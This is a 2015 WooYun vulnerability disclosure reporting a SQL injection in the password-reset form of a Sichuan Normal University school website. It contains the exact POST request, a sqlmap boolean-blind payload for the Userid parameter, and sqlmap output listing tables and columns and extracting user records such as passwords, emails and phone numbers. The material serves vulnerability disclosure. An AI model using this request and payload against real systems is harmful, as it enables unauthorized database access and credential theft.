当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155366

漏洞标题:四川师范大学某学院漏洞

相关厂商:sicnu.edu.cn

漏洞作者: 路人甲

提交时间:2015-11-24 12:25

修复时间:2016-01-12 22:16

公开时间:2016-01-12 22:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-24: 细节已通知厂商并且等待厂商处理中
2015-11-28: 厂商已经确认,细节仅向厂商公开
2015-12-08: 细节向核心白帽子及相关领域专家公开
2015-12-18: 细节向普通白帽子公开
2015-12-28: 细节向实习白帽子公开
2016-01-12: 细节向公众公开

简要描述:

RT

详细说明:

http://msi.sicnu.edu.cn/  四川师范大学数学与软件科学学院


POST /office/forgetpass.asp HTTP/1.1
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://msi.sicnu.edu.cn
Cookie: ASPSESSIONIDSCTBDDSD=LPMPLFEBCCOLFAKAMCHLAMJP; IPAddress=115%2E159%2E112%2E27
Host: msi.sicnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
one=one&Userid=-1


Userid参数存在注入

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Userid (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: one=one&Userid=-5305' OR 7258=7258 AND 'aCml'='aCml
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[4 tables]
+----------+
| user |
| type |
| url |
| userinfo |


+----------+

[20:47:36] [WARNING] running in a single-thread mode. This could take a while
[20:47:36] [INFO] retrieved: id
[20:47:36] [INFO] retrieved: name
[20:47:36] [INFO] retrieved: username
[20:47:37] [INFO] retrieved: email
[20:47:37] [INFO] retrieved: ip
[20:47:37] [INFO] retrieved: state
[20:47:37] [INFO] retrieved: pwd
[20:47:38] [INFO] retrieved: phone
[20:47:39] [INFO] retrieved: part
[20:47:39] [INFO] retrieved: rule
[20:47:40] [INFO] retrieved: mobile
[20:47:41] [INFO] fetching entries for table 'user' in database 'Microsoft_Access_masterdb'
[20:47:41] [INFO] fetching number of entries for table 'user' in database 'Microsoft_Access_masterdb'
[20:47:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:47:41] [INFO] retrieved: 333
[20:47:45] [INFO] fetching number of distinct values for column 'id'
[20:47:45] [INFO] retrieved: 333
[20:47:50] [INFO] using column 'id' as a pivot for retrieving row data
[20:47:50] [INFO] retrieved: 100
[20:47:57] [INFO] retrieved: 118.193.151.51
[20:48:20] [INFO] retrieved: g00dPa$$w0rD
[20:48:40] [INFO] retrieved: wowulcsw
[20:48:55] [INFO] retrieved: [f
[20:49:04] [INFO] retrieved:
[20:49:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast'
[20:49:05] [INFO] retrieved: sample@email.tst
[20:49:31] [INFO] retrieved: 555-666-0
[20:50:17] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request(s)
[20:50:38] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
606
[20:50:44] [INFO] retrieved: 0
[20:50:47] [INFO] retrieved: 987-65-4329
[20:51:14] [INFO] retrieved: wowulcsw
[20:51:27] [INFO] retrieved: 101
[20:51:32] [INFO] retrieved: 118.193.151.51
[20:51:58] [INFO] retrieved: g00dPa$$w0rD
[20:52:27] [INFO] retrieved: yqxpwvsv
[20:52:44] [INFO] retrieved: [f
[20:52:56] [INFO] retrieved:
[20:52:57] [INFO] retrieved: sample@email.tst
[20:53:25] [INFO] retrieved: 555-666-0606
[20:53:47] [INFO] retrieved: 0
[20:53:50] [INFO] retrieved: 987-65-4329
[20:54:13] [INFO] retrieved: yqxpwvsv

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-28 22:14

厂商回复:

感谢支持!

最新状态:

暂无